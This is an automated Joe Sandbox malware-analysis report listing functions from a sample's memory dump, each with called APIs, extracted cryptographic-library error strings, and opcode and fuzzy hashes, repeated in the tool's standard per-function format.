Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __cftoe$__mbstowcs_s_l
String ID: zX$P
API String ID: 1494777130-2079734279
Opcode ID: 97d72a63bf5dd27a5ae1ae3606755740fb4cd82e2087e67adae4e59220786e34
Instruction ID: 7b0b64fd70a955047ae93eca95a1159e4126ab2e13f849ff81dfdd22a0c3f694
Opcode Fuzzy Hash: 97d72a63bf5dd27a5ae1ae3606755740fb4cd82e2087e67adae4e59220786e34
Instruction Fuzzy Hash: 75910FB110C7819FD376CF14C890BABBBE8BB88714F508A1DE19D4B281EB716645CF92

Function 6D0389D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D038ABB
__CxxThrowException@8.LIBCMT ref: 6D038B82

Strings

: invalid ciphertext, xrefs: 6D038B48
PK_DefaultDecryptionFilter: ciphertext too long, xrefs: 6D038A8E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw
String ID: : invalid ciphertext$PK_DefaultDecryptionFilter: ciphertext too long
API String ID: 2005118841-483996327
Opcode ID: 651456a941b6597234e51ca7ab8160ba00d3da3e8623b4c8f601afa8a6400bf7
Instruction ID: 16f3582c1cd33899abcf2ca11f80c11446121d56c8e588e451787846f16af7bf
Opcode Fuzzy Hash: 651456a941b6597234e51ca7ab8160ba00d3da3e8623b4c8f601afa8a6400bf7
Instruction Fuzzy Hash: 4D515EB5108781AFE324CF54D990FABB7F8EF88704F014A5DE59A87641DB31E908CB62

Function 6D036B00 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D036BA6

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D004067
Part of subcall function 6D004010: _memmove.LIBCMT ref: 6D0040C8

__CxxThrowException@8.LIBCMT ref: 6D036C56

Strings

NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes, xrefs: 6D036B33
RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 6D036BE3

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes$RandomNumberGenerator: IncorporateEntropy not implemented
API String ID: 1902190269-184618050
Opcode ID: 7df33e4a9fd4535bf9099938afe89e1acd133083e13dac092db27e1ff9ca1888
Instruction ID: 3f37eb0630924384616229c557f642a63d4158d2b796254d3c498b5c78403bce
Opcode Fuzzy Hash: 7df33e4a9fd4535bf9099938afe89e1acd133083e13dac092db27e1ff9ca1888
Instruction Fuzzy Hash: 8F5112B110C780AFE300DF69C880B5BFBE8BB99754F504A2EF19997291D7B4D908CB56

Function 6D004E80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D004EFC
std::_Xinvalid_argument.LIBCPMT ref: 6D004F16
_memmove.LIBCMT ref: 6D004F6C

Part of subcall function 6D004D90: std::_Xinvalid_argument.LIBCPMT ref: 6D004DA9
Part of subcall function 6D004D90: std::_Xinvalid_argument.LIBCPMT ref: 6D004DCA
Part of subcall function 6D004D90: std::_Xinvalid_argument.LIBCPMT ref: 6D004DE5
Part of subcall function 6D004D90: _memmove.LIBCMT ref: 6D004E4D

Strings

string too long, xrefs: 6D004EF7, 6D004F11

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: bc5821ae5335aa1cee2bc9452ff4d02ccc701781701bcd7dc3f79000ea124cdc
Instruction ID: 3791d1e0adc7ddd369f53f51fe6b16e4f2bdaf0aa1ef0e15aeb6f59127be9931
Opcode Fuzzy Hash: bc5821ae5335aa1cee2bc9452ff4d02ccc701781701bcd7dc3f79000ea124cdc
Instruction Fuzzy Hash: A93104323106507BF7249E5DA480B7EF7EAEFED620B60492FE25587681C771D84483A9

Function 6D002090 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D00211F

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D004067
Part of subcall function 6D004010: _memmove.LIBCMT ref: 6D0040C8

__CxxThrowException@8.LIBCMT ref: 6D0021BF

Strings

PK_MessageAccumulator: TruncatedFinal() should not be called, xrefs: 6D00215D
PK_MessageAccumulator: DigestSize() should not be called, xrefs: 6D0020BD

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: PK_MessageAccumulator: DigestSize() should not be called$PK_MessageAccumulator: TruncatedFinal() should not be called
API String ID: 1902190269-1268710280
Opcode ID: ebf60bf7f475550ea3fec91237287ca06b21562e40a35f876113243adab05431
Instruction ID: 839b8e012151600d655d7faca6735558a23074abd9140c81df7942ea0e437518
Opcode Fuzzy Hash: ebf60bf7f475550ea3fec91237287ca06b21562e40a35f876113243adab05431
Instruction Fuzzy Hash: 9D413C70C0828CBFEB00DFE9D890BEDFBB8EB19314F504259E521A7691DB745608CB61

Function 6D001D30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D001DC9

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D004067
Part of subcall function 6D004010: _memmove.LIBCMT ref: 6D0040C8

__CxxThrowException@8.LIBCMT ref: 6D001E74

Strings

BufferedTransformation: this object is not attachable, xrefs: 6D001D67
CryptoMaterial: this object contains invalid values, xrefs: 6D001E16

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: BufferedTransformation: this object is not attachable$CryptoMaterial: this object contains invalid values
API String ID: 1902190269-3853263434
Opcode ID: e25171b55ae29d3bcd4890869e30c1bd4dbf9022ee1cc036116989381614b0fe
Instruction ID: b527d6d546d35cecfe6d964a9c64287f9d6547757139cc603346ab985d907c95
Opcode Fuzzy Hash: e25171b55ae29d3bcd4890869e30c1bd4dbf9022ee1cc036116989381614b0fe
Instruction Fuzzy Hash: B5414E70C04288BFEB00DFE8D880BDEFBB8EF19314F10826AE52567691DB745604CB50

Function 6D0374C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6D05D820: _memmove.LIBCMT ref: 6D05D930

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D03761A

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

byte digest to , xrefs: 6D037565
HashTransformation: can't truncate a , xrefs: 6D037552
bytes, xrefs: 6D037594

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argument_memmovestd::_
String ID: byte digest to $ bytes$HashTransformation: can't truncate a
API String ID: 39012651-1139078987
Opcode ID: 30c6fd3bfbdeec7b5aeab28a4f029c58454467e001b6623ee1f0c78b236c76f8
Instruction ID: d88a6462e573285a8716cf01eadaed2bf28fc1a57e8e64dba853843f4f362c4d
Opcode Fuzzy Hash: 30c6fd3bfbdeec7b5aeab28a4f029c58454467e001b6623ee1f0c78b236c76f8
Instruction Fuzzy Hash: 0741707110C3C1AEE330CB54C844FDFBBE8ABD9314F154A1DE69997281EB7491048BA7

Function 6D03BEF0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D03BF2D

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

Strings

gfff, xrefs: 6D03BF37
gfff, xrefs: 6D03BF80
vector<T> too long, xrefs: 6D03BF28

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: f73ba57d022e67f10c9961fafd6fd68c33c0d571777b275239830134871fb9d5
Instruction ID: 160aa790a0c0d6264700de2808fc87920ad5039cc9cc3373279da779a7a3ef3d
Opcode Fuzzy Hash: f73ba57d022e67f10c9961fafd6fd68c33c0d571777b275239830134871fb9d5
Instruction Fuzzy Hash: 8431B6B1A0460A9FD718CF5AD980F6AF7E9EB88304F15862DE9599B780D730B9048B91

Function 6D068F40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(4E8A916F,4E8A916F,?,00000000), ref: 6D068F7F
GetLastError.KERNEL32(0000000A,?,00000000), ref: 6D068F8F

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D069014

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

Timer: QueryPerformanceCounter failed with error , xrefs: 6D068FA5

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CounterErrorExceptionException@8LastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Timer: QueryPerformanceCounter failed with error
API String ID: 1823523280-4075696077
Opcode ID: 9f6b2218d96fcc0c4299ad1522222a44488dfc605b87257ca2cbb2f33f4266a5
Instruction ID: f24dc8b368c5dc5bdb3df437cd7bee1606701ef4d74209ed30e83ad1556a08b2
Opcode Fuzzy Hash: 9f6b2218d96fcc0c4299ad1522222a44488dfc605b87257ca2cbb2f33f4266a5
Instruction Fuzzy Hash: 1C210AB250C780AFE310DF24D844B9BBBE8FB89614F504A1DF5A997281D775D5048BA3

Function 6D068E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(4E8A916F,4E8A916F), ref: 6D068E7F
GetLastError.KERNEL32(0000000A), ref: 6D068E8F

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D068F14

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

Timer: QueryPerformanceFrequency failed with error , xrefs: 6D068EA5

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorExceptionException@8FrequencyLastPerformanceQueryRaiseThrowXinvalid_argumentstd::_
String ID: Timer: QueryPerformanceFrequency failed with error
API String ID: 2175244869-348333943
Opcode ID: 2d1ceeda39102b6eccac9c841167c503a679f635fcd67d2fac36e44e1d6337b3
Instruction ID: c5a6240617529b4f1db6b9f9eef34fc58a75aa8678af31162d46eace01b34197
Opcode Fuzzy Hash: 2d1ceeda39102b6eccac9c841167c503a679f635fcd67d2fac36e44e1d6337b3
Instruction Fuzzy Hash: 4B2119B250C780AFE310DF24C844B9BBBE8FB89614F504A1DF5A997281EB75D5048BA3

Function 6D036480 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D036518

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

__CxxThrowException@8.LIBCMT ref: 6D036558

Strings

Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 6D036527
Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 6D0364E7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 3476068407-3345525433
Opcode ID: cbad7a9ee6a653401f3debf8c511c6803fbdaf7af2917aabd5f2c97db8bd49b3
Instruction ID: acdb77aaa958c9d1f260408b8492c6928d001e490e3a312c99e06f65ada08cfa
Opcode Fuzzy Hash: cbad7a9ee6a653401f3debf8c511c6803fbdaf7af2917aabd5f2c97db8bd49b3
Instruction Fuzzy Hash: 5221A87151C391AFF724DF74C440FABB3E8AB4A648F824A2DE74983181EB75D1048AA3

Function 6D03C120 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D03C14E

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

Strings

gfff, xrefs: 6D03C129
gfff, xrefs: 6D03C15A
vector<T> too long, xrefs: 6D03C149

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: gfff$gfff$vector<T> too long
API String ID: 1823113695-3369487235
Opcode ID: 83671152de3619f54471d61f39b2d46a92f18e10a0b06a6d15b6cd3302e92e81
Instruction ID: f2ccfa5dcdce63622871a78fe46e55bc51a6cb632b40d3c80a34edbbeb13d3ce
Opcode Fuzzy Hash: 83671152de3619f54471d61f39b2d46a92f18e10a0b06a6d15b6cd3302e92e81
Instruction Fuzzy Hash: 9E01AD73F180361F8311997FED4055EEA8BAAC929571ACA3AE608DB349E531D80253C6

Function 6D0425D0 Relevance: 6.2, APIs: 4, Instructions: 206COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6D042677
_memmove.LIBCMT ref: 6D0426E6
_memmove.LIBCMT ref: 6D042746
__CxxThrowException@8.LIBCMT ref: 6D0427CD

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove$Exception@8Throw
String ID:
API String ID: 2655171816-0
Opcode ID: d7f1d0b43d4bace7f6b47c73b92fe8c560a6d6b4bb0c9462ab0ec5637b00e904
